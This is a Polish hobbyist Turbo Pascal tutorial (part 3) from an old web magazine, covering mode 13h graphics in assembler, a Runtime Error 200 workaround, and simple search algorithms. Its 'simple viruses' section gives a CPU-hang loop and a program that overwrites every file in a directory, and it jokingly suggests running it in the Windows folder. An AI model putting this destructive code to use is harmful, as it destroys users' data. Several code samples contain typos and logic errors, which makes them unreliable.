Serwis internetowy netmax.pl
Komputery    
Poprzedni artykuł Następny artykuł

Kurs programowania w TP - część 3

Raper3d

Witam, witam w trzeciej już części kursu paskala. Dostałem od was lawinę listów. Niezmiernie mnie to cieszy, choć doszukałem się paru bluzgów :)). Dzisiaj uzupełnienie modułu DOS, trochę wariacji z trybem 13h, naaaaaajprostsze wirusy jakie mogą być i jeszcze się coś tam skubnie. Let's go!

19.Tryb 13h, ciąg dalszy

No, postawmy sobie pytanie, jak postawić punkt w 320x200x256. Posługując się pascalem moglibyśmy napisać tak:

Procedure putpixel(x,y:integer;c:byte);
Begin
Mem[$0A000:y*320+x]:=c;
End;

No tak, ale lepiej użyć asemblera. Wywołujemy funkcję 0Ch, do AL wrzucamy kolor pikselka, do CX wrzucamy pozycję X, a do DX pozycję Y i na końcu wywołujemy przerwanie 10h. Gdybyście jednak mieli kłopoty z implementacją to spójrzcie poniżej:

Procedure putpixel(x,y:integer;c:byte);Assembler;
Asm
 mov ax,0Ch
 mov al,c
 mov cx,x
 mov dx,x
 int 10h
End;

Gotowe! Mamy funkcję ustawiającą piksel. Teraz funkcja getpixel:

Function getpixel(x,y:integer):byte;Assembler;
Asm
 mov ax,y
 mov bx,320
 mul bx
 add ax,x
 mov dx,0A000h
 mov es,dx
 mov di,ax
 mov al,es:[di]
End;

Jeśli chcecie procedur do rysowania linii itd. to są one na mojej stronie (link poniżej). Teraz na podsumowanie twojej wiedzy asemblerowej, napisz program, w którym będzie tylko jedna wielka wstawka asemblerowa. Program ma wyświetlić piksel na pozycji 10,10 i zaczekać na naciśnięcie klawisza. Już się pomęczyłeś? Nie wyszło? No to patrz i się ucz :)).

Begin
Asm
 mov ax,13h
 int 10h      {inicjacja trybu 13h}
 
 mov ah,0Ch
 mov al,100
 mov cx,10
 mov dx,10
 int 10h      {wyświetlenie piksela}

 mov ax,11h
 int 16h
 cmp ax,0
 jz @exit
 @exit:        {czekanie na naciśnięcie klawisza}

 mov ax,3h
 int 10h      {powrót do trybu tekstowego}

 mov ax,4C01h
 int 21h      {wyjście z programu}
End;
End.

Teraz bez problemu powinieneś to przenieść do czystego ASMa. Dla większych informacji o asemblerze powinieneś zasięgnąć na moją stronę.

20.RUNTIME ERROR 200 - PRZECZYTAĆ TO!
Ja już o tym pisałem, ale dostałem około 10 listów, z pytaniem jak to ominąć. Może punktami:

1.Wchodzisz na www.raper3d.prv.pl
2.Wchodzisz do działu RE200
3.Ściągasz załączony tam moduł(boja 3KB)
4.Przegrywasz go do katalogu TP\UNITS
5.W programie wpisujesz USES CRT2;

Mam nadzieję, że wszystko jasne. Na mojej stronie znajduje się cały opis tego buracka, ale i tak nikomu się nie będzie chciało tego czytać :)).

21.Zajebiście proste wirusy
Te wirusy są niesamowicie proste, więc nie wyczyścicie tutaj HDDka ani nic takiego. Chociaż... wysłałem kiedyś qmplowi plik tekstowy, a było w nim napisane że ma wirusa manualnego, czyli musi sam sobie usunąć dane z dysku. Od razu zadzwonił po mnie o pomoc :)))))). Pierwszy "wirus" będzie zawieszał komputer.

...
asm
 @a:
 jmp @a
end;
...

Możemy tak zrobić, np. po wykonanej jusz twórczej pracy wirusa. Następnym cyckiem będzie program czyszczący wszystkie pliki w danym katalogu(wgrajcie go do c:\windows hehe).
{$i-}
Uses dos;
Const
C=x; {tutaj wpisz wielkość pliku}
Var
F : file;
V : array[1..c] of char;
S : searchrec;
Begin
Assign(f,paramstr(0));
Reset(f,1);
Blockread(f,v,c);
Findfirst('*.*',32,s);
Hhile doserror=0 do Begin
            Assign(f,s.name);
    Rewrite(f,1);
    Blockwrite(f,v,c);
    Close(f);
    Findnext(s)
    End;
end.

Ehehehehehe. Virus czyści WSZYstkie pliki w qatalogu. Zróbcie, żeby potem zawieszał komputer.

22.MODUŁ DOS - dokończenie
Sorry, ale pisałem to dwie godziny i mi prąd wyłączyli. Wziąłem wszystko w cholerę(qrde, jak mają wyłączyć prąd na pół dnia to chyba powinni krwa coś ostrzedz no nie?).

23.ALGORYTMY
Zajme się tutaj podstawowymi i najprostszymi algorytmami(bo tylko takie umiem hyhyhy). Niektózi mają jednak z nimi wiele problemów. Więcej algorytmów na mojej stronie(link gdzieś tu qrde powinien być(tu jest!(a nie sorry(chyba tu(nie no coś ty(przecież jest tu(nie picuj bo jest tu(sorry, jest gdzieś na dole(gdzie?(na dole strony(aaa(jest faktycznie(dzieki(a, nie ma za co )))))))))))))).

WYSZUKIWANIE NAJWIĘKSZEGO I NAJMNIEJSZEGO ELEMENTU W TABLICY
Jest do bardzo prosty algorytm. Ustalamy liczbę maxymalną na np. -2001. Zepętlamy do ilości komórek: jeśli np. tab[10] jest większe niż ta liczba, wtedy zmienna max jest równa tab[10]. I tak w kółko, podobnie postępujemy x minimalną liczbą. Jakby ktoś miał problem z implementacją to macie co chcecie:

Uses crt;
Const
Ilosc=4; {ilość liczb}
Var
I,min,max:integer;
Tab:array[1..50] of integer;

Begin
Clrscr;
For i:=1 to ilosc do readln(a[i]);
Min:=32767;
Max:=-32767;
For i:=1 to ilosc do begin
                    If a[i]>max then max:=a[i];
                    If a[i]                    End;
Writeln('Min= ',min,' Max= ',max);
Eepeat until keypressed;
End.

WYSZUKIWANIE LINIOWE I BINARNE

Gdybyś chciał zanleźć jakiś element w swojej tablicy, to szukałbyś po kolei sprawdzając czy w danej komórce jest szukana liczba. Prosty przykład:

...
For i:=1 to ilosc_komorek do if tablica[i]:=szukany then index:=i;
Writeln('Szukana liczba ',szukany,' jest w elemencie ',index);
...

To jest właśnie przeszukiwanie liniowe. Jest ono bardzo wolne, ale dla małych tablic będzie w sam raz. Ale powiedzmy, że robisz grę, i musisz to często robić. Wtedy musisz zastosować przeszukiwanie binarne. Jest to jakby zgadywanie liczb. Dla dużych tablic jest to po prostu zbawienie. Gdzie tkwi kruszek? Tablica musi być posortowana :)).

Zasada działania rysuje się mniej-więcej tak:

Mamy tablicę 5 liczb: 1, 20, 60, 88, 120. Szukamy liczby 88. Bierzemy teraz najmniejszą potęgę dwójki większą niż liczba elementów tablicy. Jest nią ofkoz 8. Teraz i := 1. tab[1] < 88, dlatego dzielę deltę na 2 i powiększam o nią I. Więc:
i := 1 + 4 = 5
Piąty zaś element tablicy jest z kolei znowu za duży, dlatego dziele deltę na 2, zmienna I zostaje o nią pomniejszona:
i := 5 - 2 = 3
Trzecim elementem jest rzeczywiście 88. Podoba się? :))

24.LINKI
www.raper3d.prv.pl - hehe, moja pege o programowaniu
www.kaj.prv.pl - super strona o programowaniu
www.pikpok.prv.pl - głównie pliki do ściągnięcia
www.sex.pl - eeeee, to chyba nie to :)
http://strony.wp.pl/mikubicki - strona mojego kolegi, trochę o asm i cpp
www.pcbprog.prv.pl - strona mojego innego kolegi. Programowanie w Paszczalu, Bascomie i grafiki
www.debiluus.prv.pl - nie wiem czy ta strona jeszcze istnieje, ale kiedyś była cool

25.CO DALEJ?
Co dalej zrobić? N apewno kupić sobie jakąś książkę i majstrować z algorytmami. Jest to baaardzo nudne, ale dodaje duże szansę na olimpiadzie informatycznej. Możecie porobić jakieś efekty graficzne i spróbować swoich sił w C++ czy asemblerze. Nie róbcie sobie przerw na dwa miechy, bo zapomnicie wiele rzeczy. Kombinujcie!

26.THE END
Czas się pożegnać gdyż kursu nastał kreeeeeeeees :)))). Mam nadzieję, że zrobiłem coś dla ogułu jak prawdziwy żołnierz. Odmaszerować! :)))


Raper3d
e-mail: rapper3d@poczta.onet.pl
www.raper3d.prv.pl

Poprzedni artykuł Następny artykuł


Stare Gry - chcesz pograc w gry sprzed lat?


Copyright 1999-2001 Magazyn internetowy NoName
Wszelkie prawa zastrzeżone